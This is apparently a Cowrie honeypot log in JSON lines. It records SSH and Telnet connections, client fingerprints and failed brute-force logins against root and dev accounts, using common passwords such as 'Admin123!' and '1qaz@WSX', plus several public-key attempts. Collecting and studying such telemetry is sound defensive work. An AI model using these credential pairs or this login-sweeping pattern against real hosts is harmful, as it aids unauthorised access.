{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:36.649794Z","src_ip":"170.106.151.211","session":"1188f9931c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd@123","message":"login attempt [root/passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:36.958002Z","src_ip":"170.106.151.211","session":"1188f9931c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:38.030828Z","src_ip":"170.106.151.211","session":"1188f9931c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37748,"dst_ip":"159.203.135.109","dst_port":22,"session":"da827ce43f51","protocol":"ssh","message":"New connection: 45.156.87.204:37748 (159.203.135.109:22) [session: da827ce43f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:38.061797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:38.066313Z","src_ip":"45.156.87.204","session":"da827ce43f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:38.247067Z","src_ip":"45.156.87.204","session":"da827ce43f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:38.600927Z","src_ip":"45.156.87.204","session":"da827ce43f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:39.686596Z","src_ip":"45.156.87.204","session":"da827ce43f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39806,"dst_ip":"10.17.0.5","dst_port":23,"session":"920b29fa49d0","protocol":"telnet","message":"New connection: 152.42.224.71:39806 (10.17.0.5:23) [session: 920b29fa49d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:40.570349Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":59306,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd0658a80f16","protocol":"ssh","message":"New connection: 119.28.114.76:59306 (159.203.135.109:22) [session: cd0658a80f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:41.033605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:41.038045Z","src_ip":"119.28.114.76","session":"cd0658a80f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:41.274282Z","src_ip":"119.28.114.76","session":"cd0658a80f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37764,"dst_ip":"159.203.135.109","dst_port":22,"session":"6165a5420e9b","protocol":"ssh","message":"New connection: 45.156.87.204:37764 (159.203.135.109:22) [session: 6165a5420e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:41.780281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:41.785185Z","src_ip":"45.156.87.204","session":"6165a5420e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:41.867783Z","src_ip":"45.156.87.204","session":"6165a5420e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.185.53.93","src_port":56592,"dst_ip":"10.17.0.5","dst_port":22,"session":"89cd6152bbc7","protocol":"ssh","message":"New connection: 103.185.53.93:56592 (10.17.0.5:22) [session: 89cd6152bbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:42.102361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:42.106929Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:42.121377Z","src_ip":"45.156.87.204","session":"6165a5420e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1234qwer","message":"login attempt [dev/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:42.257428Z","src_ip":"119.28.114.76","session":"cd0658a80f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:42.357080Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39822,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb69e3191dc0","protocol":"telnet","message":"New connection: 152.42.224.71:39822 (10.17.0.5:23) [session: fb69e3191dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.049405Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.206026Z","src_ip":"45.156.87.204","session":"6165a5420e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.496959Z","src_ip":"119.28.114.76","session":"cd0658a80f16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:b5:5d:51:a9:bd:d2:4a:00:fd:4e:d2:d1:65:23:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoXsw8qKRUv9Xdal7it3ZuAarRsHGZDzZkFo1HU1D5bK3xevQBvCnrHg26O50gVSZdWW92fiO4zHvxZ5Vo2ZGVAVZOXeG9hlH6BBRFNuOgpfOByGnM9Xoh2DsnuvV4N15bprvGvO4NAyDs1yaM8xDtALqq/YWIS4if5vEwfKCJGj6UoGL32Ioep1/WUiW5RfKU5cIecPwgkR2QXU+IUHTvrSHMYNcZZ1L33pq35cQQ4IwLOJMHsJqX+3fJoJjDxFM3wS/mkEUVqvvpbnhn9OOQK8jVCT5BK6Xk8+h2hUi4gGxJ8RlrLoZcU79ez00wNkxFUoKnor8xZjiF5S7oCW9j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:b5:5d:51:a9:bd:d2:4a:00:fd:4e:d2:d1:65:23:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.594004Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:b5:5d:51:a9:bd:d2:4a:00:fd:4e:d2:d1:65:23:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoXsw8qKRUv9Xdal7it3ZuAarRsHGZDzZkFo1HU1D5bK3xevQBvCnrHg26O50gVSZdWW92fiO4zHvxZ5Vo2ZGVAVZOXeG9hlH6BBRFNuOgpfOByGnM9Xoh2DsnuvV4N15bprvGvO4NAyDs1yaM8xDtALqq/YWIS4if5vEwfKCJGj6UoGL32Ioep1/WUiW5RfKU5cIecPwgkR2QXU+IUHTvrSHMYNcZZ1L33pq35cQQ4IwLOJMHsJqX+3fJoJjDxFM3wS/mkEUVqvvpbnhn9OOQK8jVCT5BK6Xk8+h2hUi4gGxJ8RlrLoZcU79ez00wNkxFUoKnor8xZjiF5S7oCW9j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.597684Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:c5:10:23:27:1a:44:d8:cd:19:c4:15:49:77:8d:be","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM1k+JtM4GVYnDpx3zeqwNJYf4SztfOzzLs6dTbwoasKXojEkCunksvRm6eqmPSTpT8DvWenzjmWgTov4zbPvVL6Md5PtHpNO+Fj67s9Mh/Y+01nvUh7ptJ51VaPsOahTM1jrj2gl78nS7MWVHgpRRw4f/E5dIzx19QFssZ/Gi7VAAAAFQDS20xhNA87d1ncBDVEFNcUxIG0VQAAAIBF+rZLK5QqMjd6eGD0hnIkdULHAqRzwgtsdOLCTz3XbS01UJxzar4uOKL44Lmr+6bl5J55eCKBLm2/Np0fHUnimqyfMlqynxRRZ6oc6+qLH4bYB8ylJV9RdyjXf5kjsoxfOY3mZr09rs2lkWh/yGzeZAQIr4DrB+OefJ55Af4lLQAAAIEAkt7Ws+UTUcYkAtJXo61fHDWY0kY3scZYQI0811HOx0cFb96mYTVppnaawyYhYVgfAJgbp7Kbm+9KP+0PZEgvwKYb0VNlywTRRUcXQ+UtBDp4IqWA+cOXTreYRCCUKEhQjlpjI83OGxLJ8eWdlNheixdQiLzwHs6KpT4Zz/5WSlw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d1:c5:10:23:27:1a:44:d8:cd:19:c4:15:49:77:8d:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.852351Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:c5:10:23:27:1a:44:d8:cd:19:c4:15:49:77:8d:be","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM1k+JtM4GVYnDpx3zeqwNJYf4SztfOzzLs6dTbwoasKXojEkCunksvRm6eqmPSTpT8DvWenzjmWgTov4zbPvVL6Md5PtHpNO+Fj67s9Mh/Y+01nvUh7ptJ51VaPsOahTM1jrj2gl78nS7MWVHgpRRw4f/E5dIzx19QFssZ/Gi7VAAAAFQDS20xhNA87d1ncBDVEFNcUxIG0VQAAAIBF+rZLK5QqMjd6eGD0hnIkdULHAqRzwgtsdOLCTz3XbS01UJxzar4uOKL44Lmr+6bl5J55eCKBLm2/Np0fHUnimqyfMlqynxRRZ6oc6+qLH4bYB8ylJV9RdyjXf5kjsoxfOY3mZr09rs2lkWh/yGzeZAQIr4DrB+OefJ55Af4lLQAAAIEAkt7Ws+UTUcYkAtJXo61fHDWY0kY3scZYQI0811HOx0cFb96mYTVppnaawyYhYVgfAJgbp7Kbm+9KP+0PZEgvwKYb0VNlywTRRUcXQ+UtBDp4IqWA+cOXTreYRCCUKEhQjlpjI83OGxLJ8eWdlNheixdQiLzwHs6KpT4Zz/5WSlw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:43.856287Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:54:d1:9d:f3:bc:4d:e1:7b:54:15:63:ae:a0:11:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoAVvhnUkptfhXx+I9OoUxeHcYjF1sQcQtS34/5Qt96ZLl7k9xHQilKWo4c9JpBhfOUy1Rr9hlnBhijnd9fd2++1F27ZM809xAcJO+yx8YB+epSnbAonEM5bna77865BHj1Tqw0pquqdVeGeMa0OpFATep3CrYbQzg4Gb4lhM6hvq+xm//wxdnqz6Iep6DQ0Rv/uWdXk8kETxlWiy16dDBz0zQB37nFLAxOCcJ6NUFB4VeKx1iyqA6H0sgYORz5MlNxFXK8LihIApNE6ICAm4ECxiulRkU6vD7sKstk2iSjX/OWOukuBvOiIAbIlIZrGgOgc0kpmoBWonHlU7PTQ69w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:54:d1:9d:f3:bc:4d:e1:7b:54:15:63:ae:a0:11:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.108535Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:54:d1:9d:f3:bc:4d:e1:7b:54:15:63:ae:a0:11:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoAVvhnUkptfhXx+I9OoUxeHcYjF1sQcQtS34/5Qt96ZLl7k9xHQilKWo4c9JpBhfOUy1Rr9hlnBhijnd9fd2++1F27ZM809xAcJO+yx8YB+epSnbAonEM5bna77865BHj1Tqw0pquqdVeGeMa0OpFATep3CrYbQzg4Gb4lhM6hvq+xm//wxdnqz6Iep6DQ0Rv/uWdXk8kETxlWiy16dDBz0zQB37nFLAxOCcJ6NUFB4VeKx1iyqA6H0sgYORz5MlNxFXK8LihIApNE6ICAm4ECxiulRkU6vD7sKstk2iSjX/OWOukuBvOiIAbIlIZrGgOgc0kpmoBWonHlU7PTQ69w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.111662Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:76:f6:58:dc:df:d4:c1:82:0b:6f:ca:da:fb:19:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2QQBL9PDBG2bwwT2ATqJVgh1IsKgBLsK5vdhsQik5ziTXp/j/MOfwQ/lX6CSwQrNg5G2CsetxA2gwJk38EZHZQdK0SVVc2ippnhIMxpuYxg6jTSY3/itsnSjoSUgz3lsuLZP0UkwFs+k1/cHn8osSWNWGZTAcBLG7NhZ9FfL8egtvOTSWrgbGkGEkekFSR7oP3RN9dJo8QCviVKPLtoWzboEVWPm2J6GnbMxCUmNdVGAKy6kswOjqFU7BHdhEgQOe80Mt6QG7E/oB8o/Vbur26vQxg7qUwObZJkPZjrvioPVD8Sw7gwSaOuMwWRU7RnNBi/RtBfMtxG8lRAq/k9kYgHVR/qht17QIn8cbPym83dE2mVjueCG9TQmz+Q64hPTtAPCnACAyt9M7yvo0XtXDm1LkNXZZLSWYCRRRdSXEWTKljyIMGAMjAYXUjgsbG5Wi+oNTwXCaIKdmNAKx01FyUBfnXVVEE5OznFv1n4BfpcintJBvaDZi+yH9XjID7O71WOk1gDjSPQlhR4PV3gkp6nslHo1BLYSb9k/A/ERg5eKpwc3Q3ULjefJjBK8bsJ+PXcomEsGDtWOSk9OJmjX+URRjzPZvDhIVIAJhcf/Ve8iGphe207eY1++S8Y5yg5uL28C8I/+GznyukOdkZJjXQsycaCfF2Xo8Co27zRkO9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:76:f6:58:dc:df:d4:c1:82:0b:6f:ca:da:fb:19:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.362623Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:76:f6:58:dc:df:d4:c1:82:0b:6f:ca:da:fb:19:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2QQBL9PDBG2bwwT2ATqJVgh1IsKgBLsK5vdhsQik5ziTXp/j/MOfwQ/lX6CSwQrNg5G2CsetxA2gwJk38EZHZQdK0SVVc2ippnhIMxpuYxg6jTSY3/itsnSjoSUgz3lsuLZP0UkwFs+k1/cHn8osSWNWGZTAcBLG7NhZ9FfL8egtvOTSWrgbGkGEkekFSR7oP3RN9dJo8QCviVKPLtoWzboEVWPm2J6GnbMxCUmNdVGAKy6kswOjqFU7BHdhEgQOe80Mt6QG7E/oB8o/Vbur26vQxg7qUwObZJkPZjrvioPVD8Sw7gwSaOuMwWRU7RnNBi/RtBfMtxG8lRAq/k9kYgHVR/qht17QIn8cbPym83dE2mVjueCG9TQmz+Q64hPTtAPCnACAyt9M7yvo0XtXDm1LkNXZZLSWYCRRRdSXEWTKljyIMGAMjAYXUjgsbG5Wi+oNTwXCaIKdmNAKx01FyUBfnXVVEE5OznFv1n4BfpcintJBvaDZi+yH9XjID7O71WOk1gDjSPQlhR4PV3gkp6nslHo1BLYSb9k/A/ERg5eKpwc3Q3ULjefJjBK8bsJ+PXcomEsGDtWOSk9OJmjX+URRjzPZvDhIVIAJhcf/Ve8iGphe207eY1++S8Y5yg5uL28C8I/+GznyukOdkZJjXQsycaCfF2Xo8Co27zRkO9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.364907Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
